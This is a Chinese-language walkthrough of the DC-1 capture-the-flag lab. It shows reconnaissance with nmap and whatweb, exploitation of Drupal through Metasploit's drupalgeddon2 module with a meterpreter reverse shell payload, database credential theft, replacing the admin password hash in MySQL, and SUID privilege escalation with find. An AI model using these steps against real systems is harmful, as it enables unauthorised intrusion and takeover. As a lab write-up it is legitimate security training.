DC-1

环境配置:

kail和DC都设置为NAT模式

图片

然后开始信息搜集,首先确认自己的ip

图片

因为靶场和主机存在于同一网段,就先主机存活探测下

图片

上面的是DC靶机

arp-scan -l查询后确认完毕

图片

获得 DC-1 IP:192.168.12.146

2.查找到IP后可以查看靶机开启了什么端口(可以使用nmap)

nmap -A 192.168.12.146

-A : 激进型 启用许多扫描选项,版本扫描,脚本扫描等(慎用)

图片

开启了20.80.111端口,尝试访问下ip

图片

3.指纹识别(whatweb)

whatweb -v 192.168.12.146

图片

通过查看返回信息 很容易找到CMS版本以及名字

2.漏洞利用

Drupal的话msf有一些现成的模块我们可以尝试试试

1.进入msf

msfconsole
2.查找相应模块

search Drupa
图片

3.使用相应模块,咱也都试了下,发现 exploit/unix/webapp/drupal_drupalgeddon2 这个里面可以。

use exploit/unix/webapp/drupal_drupalgeddon2
4.选择查看payload有什么

show payloads

5。使用payload

set payload php/meterpreter/reverse_tcp

6.查看需要配置的参数

show options

yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS

7.配置

set rhosts 192.168.16.124

8.启动

exploit

图片

session已建立

9.查看DC-1基本信息

sysinfo

图片

10.获得shell

shell
为了方便看我们使用python进行反弹

python -c “import pty;pty.spawn(’/bin/bash’)”
图片

3.flag1

ls直接查看当前文件,我们就可以看到flag1.txt

再使用cat查看

ls
cat flag1.txt
给了个提示:Every good CMS needs a config file - and so do you.

每个好的CMS都需要一个配置文件——你也是。

4.flag2

每个好的CMS都需要一个配置文件——你也是。

那我们找下他的配置文件

find . -name “set*”
图片

查看内容

cat ./sites/default/settings.php

图片

发现flag2

文件里面有数据库的账号密码

也给了提示

*暴力和字典攻击不是最常见的

*只有获得访问权限的方法(您将需要访问权限)。

*你能用这些证书做什么?

暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录

后面的意思应该是后续需要我们提权操作。

5.flag3

前面给了我们数据库账号密码以及数据库名字

‘database’ => ‘drupaldb’,

‘username’ => ‘dbuser’,

‘password’ => ‘R0ck3t’,

我们尝试登录一下

mysql -udbuser -pR0ck3t

图片

查看库

show databases;
进入drupaldb库中

use drupaldb
查看库中的表

show tables;
仔细观察我们可以看到有一个users的表,然后查表

可以看到admin的密码给加密了S S

SD应该是某种hash,也不好直接解密。可能文件中有加密的文件,我们去找找。

图片

find . -name “hash

图片

找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西意思应该是直接再后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456
图片

果然返回了hash后的值。

原来admin的密码hash后为:S SSDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

显然靠我们一个一个试不切实际。可以换一个思路既然找不到密码是多少,那么我们就把原来密码替换了

刚刚123456 hash后为:S SSDFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC

重新回到数据库drupaldb内。

更新密码

update users set pass=’S SSDFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC’where name=“admin”;

更新完成后 访问网站

得到flag3;

并且获得提示:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

6.flag4

根据提示passwd我们可以想到/etc/passwd

cat /etc/passwd
图片

发现里面有flag4,给了个路径/home/flag4

切换到flag4里面看看有什么文件
cd /home/flag4

ls
图片

发现权限不够。需要提权

首先试试SUID提权

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null
find 指令

/ 根目录(查找位置)

-perm 权限

-u 用户(s=特权)

-type 类型

f 文件

2>/dev/nul 过滤错误信息(不显示错误信息)

看到find就在其中,那就比较简单了。直接使用find提权

find / -exec “/bin/bash” -p ;
再次查看

cat flag4.txt
找到flag4

并且给出提示:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

7.flag5

根据提示我们进入/root,ls查看目录下的文件

cd /root
ls
可以看到有一个thefinalflag.txt 最后的flag

直接cat查看即可

cat thefinalflag.txt
获得最终的flag

8.总结

1.nmap,arp-scan使用

2.whatweb 指纹识别

3.msf使用对应的模块

4.mysql的修改数据

5.SUID提权